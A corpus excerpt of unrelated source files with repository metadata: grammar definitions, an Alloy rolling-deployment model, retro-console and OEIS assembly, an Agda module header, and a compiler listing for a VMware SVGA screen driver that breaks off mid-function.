HexDigit)* ; fragment HexPrefix : '0' ('x' | 'X') ; fragment HexDigit : (Digit | 'a'..'f' | 'A'..'F') ; Plus : '+' ; Minus : '-' ; DecimalLiteral : Number ; fragment Number : Digit+ ; fragment Digit : '0'..'9' ; TextLiteral : '"' (EscapeSequence | ~('\\' | '\r' | '\n' | '"'))+ '"' | '\'' (EscapeSequence | ~('\\' | '\r' | '\n' | '\''))+ '\'' ; // Any additions to the escaping need to be accounted for in // org.kaazing.k3po.lang.parserScriptParseStrategy.escapeString(String toEscape); fragment EscapeSequence : '\\' ('b' | 'f' | 'r' | 'n' | 't' | '"' | '\'' | '\\' ) ; Name : Identifier ; QualifiedName : Identifier ':' Identifier ('.' Identifier)* ; fragment Identifier : Letter (Digit | Minus | Letter)* ; fragment Letter : '\u0024' | '\u0041'..'\u005a' | '\u005f' | '\u0061'..'\u007a' | '\u00c0'..'\u00d6' | '\u00d8'..'\u00f6' | '\u00f8'..'\u00ff' | '\u0100'..'\u1fff' | '\u3040'..'\u318f' | '\u3300'..'\u337f' | '\u3400'..'\u3d2d' | '\u4e00'..'\u9fff' | '\uf900'..'\ufaff' ; WS : (' ' | '\r' | '\n' | '\t' | '\u000C')+ -> skip; LineComment : '#' ~('\n' | '\r')* '\r'? '\n' -> skip;
rolling-deployments/rolling-deployment.als
experimental-dustbin/alloy-models
9
2751
open util/ordering[State] // We'll be working with machines some sig Machine { } // State is defined by the aggregate state of the machines sig State { old: set Machine, new: set Machine, undefined: set Machine } { // Machines can't randomly disappear Machine = old + new + undefined // There must always be at least 1 machine in the old or new states some (old + new) // The machines can't be in multiple states at once disj[old, new, undefined] } // How do we transition from one valid state to another when we // are performing a rolling deployment? This predicate spells out // those details pred transition(s, s': State) { // New machine stay where they are. This essentially pins new machines s.new in s'.new // Old machines can't magically become new machines no (s.old & s'.new) // Now we think about what to do with machines in the old and undefined states some s.undefined => { // If there are machines in an undefined state then they must move to the new state // but they don't all have to move together some (s.undefined & s'.new) // We don't specify what to do with old machines and let the solver decide whether // it is ok to also move them to an undefined state or not } else { // There are no machines in an undefined state so pick some from old ones // and move them to an undefined state. As long as there is at least one then // we are making progress but the solver could decide to move more than one // which is also fine some (s.old & s'.undefined) } } // Now let's run the model and see what Alloy comes up with run { first.old = Machine last.new = Machine all s: State, s': s.next | transition[s, s'] } for 4 State, exactly 3 Machine
src/LKS/old/OAM.asm
Kannagi/LKS
6
160217
LKS_OAM4_Clear: sta LKS_BUF_OAML + 1,x sta LKS_BUF_OAML + 5,x sta LKS_BUF_OAML + 9,x sta LKS_BUF_OAML + 13,x rtl LKS_OAM_ClearH ;Clear OAM lda #0 rep #$20 sta LKS_BUF_OAMH +$10 sta LKS_BUF_OAMH +$12 sta LKS_BUF_OAMH +$14 sta LKS_BUF_OAMH +$16 sta LKS_BUF_OAMH +$18 sta LKS_BUF_OAMH +$1A sta LKS_BUF_OAMH +$1C sta LKS_BUF_OAMH +$1E sep #$20 lda #-32 LKS_OAM4_Clear $10 LKS_OAM4_Clear $11 LKS_OAM4_Clear $12 LKS_OAM4_Clear $13 LKS_OAM4_Clear $14 LKS_OAM4_Clear $15 LKS_OAM4_Clear $16 LKS_OAM4_Clear $17 LKS_OAM4_Clear $18 LKS_OAM4_Clear $19 LKS_OAM4_Clear $1A LKS_OAM4_Clear $1B LKS_OAM4_Clear $1C LKS_OAM4_Clear $1D LKS_OAM4_Clear $1E LKS_OAM4_Clear $1F rtl LKS_OAM_Clear: stz LKS_OAM stz LKS_OAM+1 ;Clear OAM rep #$20 lda #0 sta LKS_BUF_OAMH +$00 sta LKS_BUF_OAMH +$02 sta LKS_BUF_OAMH +$04 sta LKS_BUF_OAMH +$06 sta LKS_BUF_OAMH +$08 sta LKS_BUF_OAMH +$0A sta LKS_BUF_OAMH +$0C sta LKS_BUF_OAMH +$0E sta LKS_BUF_OAMH +$10 sta LKS_BUF_OAMH +$12 sta LKS_BUF_OAMH +$14 sta LKS_BUF_OAMH +$16 sta LKS_BUF_OAMH +$18 sta LKS_BUF_OAMH +$1A sta LKS_BUF_OAMH +$1C sta LKS_BUF_OAMH +$1E sep #$20 lda #-32 LKS_OAM4_Clear $00 LKS_OAM4_Clear $01 LKS_OAM4_Clear $02 LKS_OAM4_Clear $03 LKS_OAM4_Clear $04 LKS_OAM4_Clear $05 LKS_OAM4_Clear $06 LKS_OAM4_Clear $07 LKS_OAM4_Clear $08 LKS_OAM4_Clear $09 LKS_OAM4_Clear $0A LKS_OAM4_Clear $0B LKS_OAM4_Clear $0C LKS_OAM4_Clear $0D LKS_OAM4_Clear $0E LKS_OAM4_Clear $0F LKS_OAM4_Clear $10 LKS_OAM4_Clear $11 LKS_OAM4_Clear $12 LKS_OAM4_Clear $13 LKS_OAM4_Clear $14 LKS_OAM4_Clear $15 LKS_OAM4_Clear $16 LKS_OAM4_Clear $17 LKS_OAM4_Clear $18 LKS_OAM4_Clear $19 LKS_OAM4_Clear $1A LKS_OAM4_Clear $1B LKS_OAM4_Clear $1C LKS_OAM4_Clear $1D LKS_OAM4_Clear $1E LKS_OAM4_Clear $1F rtl LKS_OAM_Draw: ;Y rep #$20 lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_spry sta LKS_OAM+_sprtmp1 sep #$20 lda LKS_OAM+_sprtmp1+1 cmp #$00 beq + iny iny iny iny rtl +: ;X droite lda LKS_OAM+_sprx+1 cmp #$01 bmi + iny iny iny iny rtl +: ;X gauche rep #$20 lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_sprx sta LKS_OAM+_sprtmp1 sta LKS_OAM+_sprtmp2 sep #$20 lda LKS_OAM+_sprtmp1+1 cmp #$0 bpl + iny iny iny iny rtl +: phx rep #$20 tya phy sta LKS_OAM+_sprtmp1 lsr lsr lsr lsr tay sep #$20 lda LKS_OAM+_sprtmp1 and #$0F cmp #$00 bne + lda #$01 bra ++ +: cmp #$04 bne + lda #$04 bra ++ +: cmp #$08 bne + lda #$10 bra ++ +: cmp #$0C bne + lda #$40 bra ++ +: ++: sta LKS_OAM+_sprtmp1 asl sta LKS_OAM+_sprtmp1+1 tyx lda LKS_OAM+_sprsz bit #1 beq + lda LKS_BUF_OAMH,x ora LKS_OAM+_sprtmp1+1 sta LKS_BUF_OAMH,x +: lda LKS_OAM+_sprtmp2+1 cmp #$1 beq + ;clipping lda LKS_OAM+_sprsz and #$FE clc adc LKS_OAM+_sprx bcc + lda LKS_BUF_OAMH,x ora LKS_OAM+_sprtmp1 sta LKS_BUF_OAMH,x +: ply ;-------- tyx lda LKS_OAM+_sprx sta LKS_BUF_OAML,x inx lda LKS_OAM+_spry sta LKS_BUF_OAML,x inx lda LKS_OAM+_sprtile sta LKS_BUF_OAML,x inx lda LKS_OAM+_sprext sta LKS_BUF_OAML,x inx txy plx rtl ;------------------------------------------------- LKS_OAM_Draw_Meta: rtl LKS_OAM_Draw_Meta2x1: rtl
oeis/142/A142065.asm
neoneye/loda-programs
11
245284
<filename>oeis/142/A142065.asm ; A142065: Primes congruent to 28 mod 33. ; Submitted by <NAME> ; 61,127,193,457,523,787,853,919,1051,1117,1249,1381,1447,1579,1777,2239,2371,2437,2503,2767,2833,3163,3229,3361,3559,3691,3823,3889,4021,4153,4219,4483,4549,4813,5011,5077,5209,5407,5737,5869,6067,6133,6199,6397,6529,6661,6793,6991,7057,7321,7717,8179,8311,8377,8443,8641,8707,8839,8971,9103,9433,9631,9697,9829,10093,10159,10357,10687,10753,11083,11149,11677,11743,11941,12007,12073,12601,12799,13063,13327,13591,13723,13789,13921,14251,14449,14713,14779,15241,15307,15373,15439,15901,16033,16231 mov $2,$0 add $2,2 pow $2,2 lpb $2 mul $1,$4 mov $3,$1 add $3,60 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,66 sub $2,1 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,5
Maps/.asm
adkennan/BurgerMayhem
0
163611
BYTE TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, $FF MAP_ BYTE , BYTE TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, TILE_VOID, $FF
app/pseudocode-parser/default/Pseudocode.g4
killer-nyasha/verifiable-tests
0
7572
<gh_stars>0 grammar Pseudocode; program : /* nothing */ # p_nothing | statements # p_statements | proc * # p_proc ; proc : 'proc' NAME statements ; statements : statement (';' statement)* ; statement : 'abort' # abort | 'skip' # skip | assignment # assignment_statement | 'if' guarded_commands 'fi' # if_statement | 'do' guarded_commands 'od' # do_statement | MINUS? shorthand # shorthand_expr ; guarded_commands : guarded_command ('|' guarded_command)* ; guarded_command : bool_expr '->' statements ; shorthand : NAME '(' (/*no args*/ | int_expr (',' int_expr)*) ')' ; assignment : variable ':=' int_expr # scalar_assignment | variable ',' assignment ',' int_expr # vector_assignment ; int_expr : MINUS? INT # int_const_expr | MINUS? variable # variable_expr | MINUS? '(' int_expr ')' # paret_int_expr | int_expr '*' int_expr # mult_expr | int_expr (PLUS | MINUS) int_expr # add_expr ; bool_expr : NEGATION? (TRUE | FALSE) # bool_const_expr | NEGATION? '(' bool_expr ')' # paret_bool_expr | int_expr comparison_op int_expr # comparison_expr | bool_expr '&&' bool_expr # and_expr | bool_expr '||' bool_expr # or_expr ; comparison_op : '<' # lt | '>' # gt | '<=' # leq | '>=' # geq | '=' # eq | '<>' # neq ; variable : NAME selectors? ; selectors : selector+ ; selector : '[' int_expr ']' ; NEGATION : '~' ; MINUS : '-' ; PLUS : '+' ; TRUE : 'T'; FALSE : 'F'; NAME : [a-z] [0-9a-zA-Z_]* ; INT : '0' | [1-9] [0-9]* ; WS : [ \t\r\n] + -> skip ; // Skipping all the whitespaces.
agda-stdlib-0.9/src/Relation/Binary/StrictPartialOrderReasoning.agda
qwe2/try-agda
1
2827
<reponame>qwe2/try-agda<gh_stars>1-10 ------------------------------------------------------------------------ -- The Agda standard library -- -- Convenient syntax for "equational reasoning" using a strict partial -- order ------------------------------------------------------------------------ open import Relation.Binary module Relation.Binary.StrictPartialOrderReasoning {p₁ p₂ p₃} (S : StrictPartialOrder p₁ p₂ p₃) where import Relation.Binary.PreorderReasoning as PreR import Relation.Binary.Properties.StrictPartialOrder as SPO open PreR (SPO.preorder S) public renaming (_∼⟨_⟩_ to _<⟨_⟩_)
Aurora/Aurora/x64/Debug/svga_screen.asm
manaskamal/aurora-xeneva
8
16923
<reponame>manaskamal/aurora-xeneva ; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1 include listing.inc INCLUDELIB LIBCMT INCLUDELIB OLDNAMES CONST SEGMENT $SG5427 DB '[VMware SVGA]: Virtual Device does not have screen objec' DB 't enabled', 0aH, 00H CONST ENDS PUBLIC ?svga_screen_init@@YAXXZ ; svga_screen_init PUBLIC ?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z ; svga_screen_create PUBLIC ?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z ; svga_screen_define PUBLIC ?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z ; svga_screen_define_gmrfb PUBLIC ?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ; svga_screen_blit_from_gmrfb PUBLIC ?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ; svga_screen_blit_to_gmrfb PUBLIC ?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z ; svga_screen_annotate_fill PUBLIC ?svga_paint_screen@@YAXIHHHH@Z ; svga_paint_screen PUBLIC ?svga_screen_destroy@@YAXI@Z ; svga_screen_destroy PUBLIC ?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z ; svga_screen_annotate_copy EXTRN ?svga_has_fifo_cap@@YA_NH@Z:PROC ; svga_has_fifo_cap EXTRN ?svga_fifo_commit_all@@YAXXZ:PROC ; svga_fifo_commit_all EXTRN ?svga_fifo_reserved_cmd@@YAPEAXII@Z:PROC ; svga_fifo_reserved_cmd EXTRN ?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z:PROC ; svga_alloc_gmr EXTRN ?svga_update@@YAXIIII@Z:PROC ; svga_update EXTRN memcpy:PROC EXTRN ?printf@@YAXPEBDZZ:PROC ; printf EXTRN ?svga_dev@@3U_svga_drive_@@A:BYTE ; svga_dev pdata SEGMENT $pdata$?svga_screen_init@@YAXXZ DD imagerel $LN4 DD imagerel $LN4+55 DD imagerel $unwind$?svga_screen_init@@YAXXZ $pdata$?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z DD imagerel $LN5 DD imagerel $LN5+143 DD imagerel $unwind$?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z $pdata$?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z DD imagerel $LN3 DD imagerel $LN3+64 DD imagerel $unwind$?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z $pdata$?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z DD imagerel $LN3 DD imagerel $LN3+85 DD imagerel $unwind$?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z $pdata$?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD imagerel $LN3 DD imagerel $LN3+102 DD imagerel $unwind$?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z $pdata$?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD imagerel $LN3 DD imagerel $LN3+102 DD imagerel $unwind$?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z $pdata$?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z DD imagerel $LN3 DD imagerel $LN3+49 DD imagerel $unwind$?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z $pdata$?svga_paint_screen@@YAXIHHHH@Z DD imagerel $LN9 DD imagerel $LN9+182 DD imagerel $unwind$?svga_paint_screen@@YAXIHHHH@Z $pdata$?svga_screen_destroy@@YAXI@Z DD imagerel $LN3 DD imagerel $LN3+49 DD imagerel $unwind$?svga_screen_destroy@@YAXI@Z $pdata$?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z DD imagerel $LN3 DD imagerel $LN3+71 DD imagerel $unwind$?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z pdata ENDS xdata SEGMENT $unwind$?svga_screen_init@@YAXXZ DD 010401H DD 04204H $unwind$?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z DD 010901H DD 06209H $unwind$?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z DD 010901H DD 06209H $unwind$?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z DD 011201H DD 06212H $unwind$?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD 031501H DD 070116215H DD 06010H $unwind$?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z DD 031501H DD 070116215H DD 06010H $unwind$?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z DD 010801H DD 06208H $unwind$?svga_paint_screen@@YAXIHHHH@Z DD 011601H DD 08216H $unwind$?svga_screen_destroy@@YAXI@Z DD 010801H DD 06208H $unwind$?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z DD 010d01H DD 0620dH xdata ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 srcOrigin$ = 64 srcScreen$ = 72 ?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z PROC ; svga_screen_annotate_copy ; 112 : { $LN3: mov DWORD PTR [rsp+16], edx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 113 : SVGAFifoCmdAnnotationCopy *cmd =(SVGAFifoCmdAnnotationCopy *)svga_fifo_reserved_cmd(SVGA_CMD_ANNOTATION_COPY, ; 114 : sizeof *cmd); mov edx, 12 mov ecx, 40 ; 00000028H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 115 : cmd->srcOrigin = *srcOrigin; mov rax, QWORD PTR srcOrigin$[rsp] mov rax, QWORD PTR [rax] mov rcx, QWORD PTR cmd$[rsp] mov QWORD PTR [rcx], rax ; 116 : cmd->srcScreenId = srcScreen; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR srcScreen$[rsp] mov DWORD PTR [rax+8], ecx ; 117 : svga_fifo_commit_all (); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 118 : } add rsp, 56 ; 00000038H ret 0 ?svga_screen_annotate_copy@@YAXPEBUSVGASignedPoint@@I@Z ENDP ; svga_screen_annotate_copy _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 id$ = 64 ?svga_screen_destroy@@YAXI@Z PROC ; svga_screen_destroy ; 47 : void svga_screen_destroy (uint32_t id) { $LN3: mov DWORD PTR [rsp+8], ecx sub rsp, 56 ; 00000038H ; 48 : SVGAFifoCmdDestroyScreen *cmd = (SVGAFifoCmdDestroyScreen *)svga_fifo_reserved_cmd (SVGA_CMD_DESTROY_SCREEN, sizeof *cmd); mov edx, 4 mov ecx, 35 ; 00000023H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 49 : cmd->screenId = id; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR id$[rsp] mov DWORD PTR [rax], ecx ; 50 : svga_fifo_commit_all(); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 51 : } add rsp, 56 ; 00000038H ret 0 ?svga_screen_destroy@@YAXI@Z ENDP ; svga_screen_destroy _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT y$ = 32 x$ = 36 fb$ = 40 row$1 = 48 color$ = 80 x_$ = 88 y_$ = 96 width$ = 104 height$ = 112 ?svga_paint_screen@@YAXIHHHH@Z PROC ; svga_paint_screen ; 121 : void svga_paint_screen (uint32_t color, int x_, int y_, int width, int height) { $LN9: mov DWORD PTR [rsp+32], r9d mov DWORD PTR [rsp+24], r8d mov DWORD PTR [rsp+16], edx mov DWORD PTR [rsp+8], ecx sub rsp, 72 ; 00000048H ; 122 : uint32_t *fb = (uint32_t*)svga_dev.fb_mem; mov rax, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+24 mov QWORD PTR fb$[rsp], rax ; 123 : int x, y; ; 124 : static uint32_t fence = 0; ; 125 : ; 126 : for (y = 0; y < height; y++) { mov DWORD PTR y$[rsp], 0 jmp SHORT $LN6@svga_paint $LN5@svga_paint: mov eax, DWORD PTR y$[rsp] inc eax mov DWORD PTR y$[rsp], eax $LN6@svga_paint: mov eax, DWORD PTR height$[rsp] cmp DWORD PTR y$[rsp], eax jge SHORT $LN4@svga_paint ; 127 : uint32_t *row = &fb[(y_ + y) * svga_dev.width + x_]; mov eax, DWORD PTR y$[rsp] mov ecx, DWORD PTR y_$[rsp] add ecx, eax mov eax, ecx imul eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+52 add eax, DWORD PTR x_$[rsp] mov eax, eax mov rcx, QWORD PTR fb$[rsp] lea rax, QWORD PTR [rcx+rax*4] mov QWORD PTR row$1[rsp], rax ; 128 : ; 129 : for (x = 0; x < width; x++) { mov DWORD PTR x$[rsp], 0 jmp SHORT $LN3@svga_paint $LN2@svga_paint: mov eax, DWORD PTR x$[rsp] inc eax mov DWORD PTR x$[rsp], eax $LN3@svga_paint: mov eax, DWORD PTR width$[rsp] cmp DWORD PTR x$[rsp], eax jge SHORT $LN1@svga_paint ; 130 : row[x] = color; movsxd rax, DWORD PTR x$[rsp] mov rcx, QWORD PTR row$1[rsp] mov edx, DWORD PTR color$[rsp] mov DWORD PTR [rcx+rax*4], edx ; 131 : ; 132 : } jmp SHORT $LN2@svga_paint $LN1@svga_paint: ; 133 : } jmp SHORT $LN5@svga_paint $LN4@svga_paint: ; 134 : svga_update(x_, y_, width,height); mov r9d, DWORD PTR height$[rsp] mov r8d, DWORD PTR width$[rsp] mov edx, DWORD PTR y_$[rsp] mov ecx, DWORD PTR x_$[rsp] call ?svga_update@@YAXIIII@Z ; svga_update ; 135 : } add rsp, 72 ; 00000048H ret 0 ?svga_paint_screen@@YAXIHHHH@Z ENDP ; svga_paint_screen _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 color$ = 64 ?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z PROC ; svga_screen_annotate_fill ; 99 : { $LN3: mov DWORD PTR [rsp+8], ecx sub rsp, 56 ; 00000038H ; 100 : SVGAFifoCmdAnnotationFill *cmd = (SVGAFifoCmdAnnotationFill*)svga_fifo_reserved_cmd(SVGA_CMD_ANNOTATION_FILL, ; 101 : sizeof *cmd); mov edx, 4 mov ecx, 39 ; 00000027H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 102 : cmd->color = color; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR color$[rsp] mov DWORD PTR [rax], ecx ; 103 : svga_fifo_commit_all(); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 104 : } add rsp, 56 ; 00000038H ret 0 ?svga_screen_annotate_fill@@YAXUSVGAColorBGRX@@@Z ENDP ; svga_screen_annotate_fill _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 destOrigin$ = 80 srcRect$ = 88 srcScreen$ = 96 ?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z PROC ; svga_screen_blit_to_gmrfb ; 85 : { $LN3: mov DWORD PTR [rsp+24], r8d mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx push rsi push rdi sub rsp, 56 ; 00000038H ; 86 : SVGAFifoCmdBlitScreenToGMRFB *cmd = (SVGAFifoCmdBlitScreenToGMRFB *)svga_fifo_reserved_cmd(SVGA_CMD_BLIT_SCREEN_TO_GMRFB, ; 87 : sizeof *cmd); mov edx, 28 mov ecx, 38 ; 00000026H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 88 : cmd->destOrigin = *destOrigin; mov rax, QWORD PTR destOrigin$[rsp] mov rax, QWORD PTR [rax] mov rcx, QWORD PTR cmd$[rsp] mov QWORD PTR [rcx], rax ; 89 : cmd->srcRect = *srcRect; mov rax, QWORD PTR cmd$[rsp] lea rdi, QWORD PTR [rax+8] mov rsi, QWORD PTR srcRect$[rsp] mov ecx, 16 rep movsb ; 90 : cmd->srcScreenId = srcScreen; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR srcScreen$[rsp] mov DWORD PTR [rax+24], ecx ; 91 : svga_fifo_commit_all (); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 92 : } add rsp, 56 ; 00000038H pop rdi pop rsi ret 0 ?svga_screen_blit_to_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ENDP ; svga_screen_blit_to_gmrfb _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 srcOrigin$ = 80 destRect$ = 88 destScreen$ = 96 ?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z PROC ; svga_screen_blit_from_gmrfb ; 71 : { $LN3: mov DWORD PTR [rsp+24], r8d mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx push rsi push rdi sub rsp, 56 ; 00000038H ; 72 : SVGAFifoCmdBlitGMRFBToScreen *cmd = (SVGAFifoCmdBlitGMRFBToScreen*)svga_fifo_reserved_cmd(SVGA_CMD_BLIT_GMRFB_TO_SCREEN, ; 73 : sizeof(SVGAFifoCmdBlitGMRFBToScreen)); mov edx, 28 mov ecx, 37 ; 00000025H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 74 : cmd->srcOrigin = *srcOrigin; mov rax, QWORD PTR srcOrigin$[rsp] mov rax, QWORD PTR [rax] mov rcx, QWORD PTR cmd$[rsp] mov QWORD PTR [rcx], rax ; 75 : cmd->destRect = *destRect; mov rax, QWORD PTR cmd$[rsp] lea rdi, QWORD PTR [rax+8] mov rsi, QWORD PTR destRect$[rsp] mov ecx, 16 rep movsb ; 76 : cmd->destScreenId = destScreen; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR destScreen$[rsp] mov DWORD PTR [rax+24], ecx ; 77 : svga_fifo_commit_all(); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 78 : } add rsp, 56 ; 00000038H pop rdi pop rsi ret 0 ?svga_screen_blit_from_gmrfb@@YAXPEBUSVGASignedPoint@@PEBUSVGASignedRect@@I@Z ENDP ; svga_screen_blit_from_gmrfb _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 ptr$ = 64 bytesPerLine$ = 72 format$ = 80 ?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z PROC ; svga_screen_define_gmrfb ; 57 : { $LN3: mov DWORD PTR [rsp+24], r8d mov DWORD PTR [rsp+16], edx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 58 : SVGAFifoCmdDefineGMRFB *cmd = (SVGAFifoCmdDefineGMRFB*)svga_fifo_reserved_cmd(SVGA_CMD_DEFINE_GMRFB, sizeof *cmd); mov edx, 16 mov ecx, 36 ; 00000024H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 59 : cmd->ptr = ptr; mov rax, QWORD PTR cmd$[rsp] mov rcx, QWORD PTR ptr$[rsp] mov QWORD PTR [rax], rcx ; 60 : cmd->bytesPerLine = bytesPerLine; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR bytesPerLine$[rsp] mov DWORD PTR [rax+8], ecx ; 61 : cmd->format = format; mov rax, QWORD PTR cmd$[rsp] mov ecx, DWORD PTR format$[rsp] mov DWORD PTR [rax+12], ecx ; 62 : svga_fifo_commit_all(); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 63 : } add rsp, 56 ; 00000038H ret 0 ?svga_screen_define_gmrfb@@YAXUSVGAGuestPtr@@IUSVGAGMRImageFormat@@@Z ENDP ; svga_screen_define_gmrfb _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT cmd$ = 32 screen$ = 64 ?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z PROC ; svga_screen_define ; 39 : void svga_screen_define (const SVGAScreenObject *screen) { $LN3: mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 40 : SVGAFifoCmdDefineScreen *cmd = (SVGAFifoCmdDefineScreen*)svga_fifo_reserved_cmd (SVGA_CMD_DEFINE_SCREEN, ; 41 : screen->structSize); mov rax, QWORD PTR screen$[rsp] mov edx, DWORD PTR [rax] mov ecx, 34 ; 00000022H call ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd mov QWORD PTR cmd$[rsp], rax ; 42 : ; 43 : memcpy (cmd, (void*)screen, screen->structSize); mov rax, QWORD PTR screen$[rsp] mov r8d, DWORD PTR [rax] mov rdx, QWORD PTR screen$[rsp] mov rcx, QWORD PTR cmd$[rsp] call memcpy ; 44 : svga_fifo_commit_all(); call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all ; 45 : } add rsp, 56 ; 00000038H ret 0 ?svga_screen_define@@YAXPEBUSVGAScreenObject@@@Z ENDP ; svga_screen_define _TEXT ENDS ; Function compile flags: /Odtpy ; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\svga_screen.cpp _TEXT SEGMENT pitch$1 = 32 size$2 = 36 screen$ = 64 ?svga_screen_create@@YAXPEAUSVGAScreenObject@@@Z PROC ; svga_screen_create ; 25 : void svga_screen_create (SVGAScreenObject* screen) { $LN5: mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 26 : if (svga_has_fifo_cap 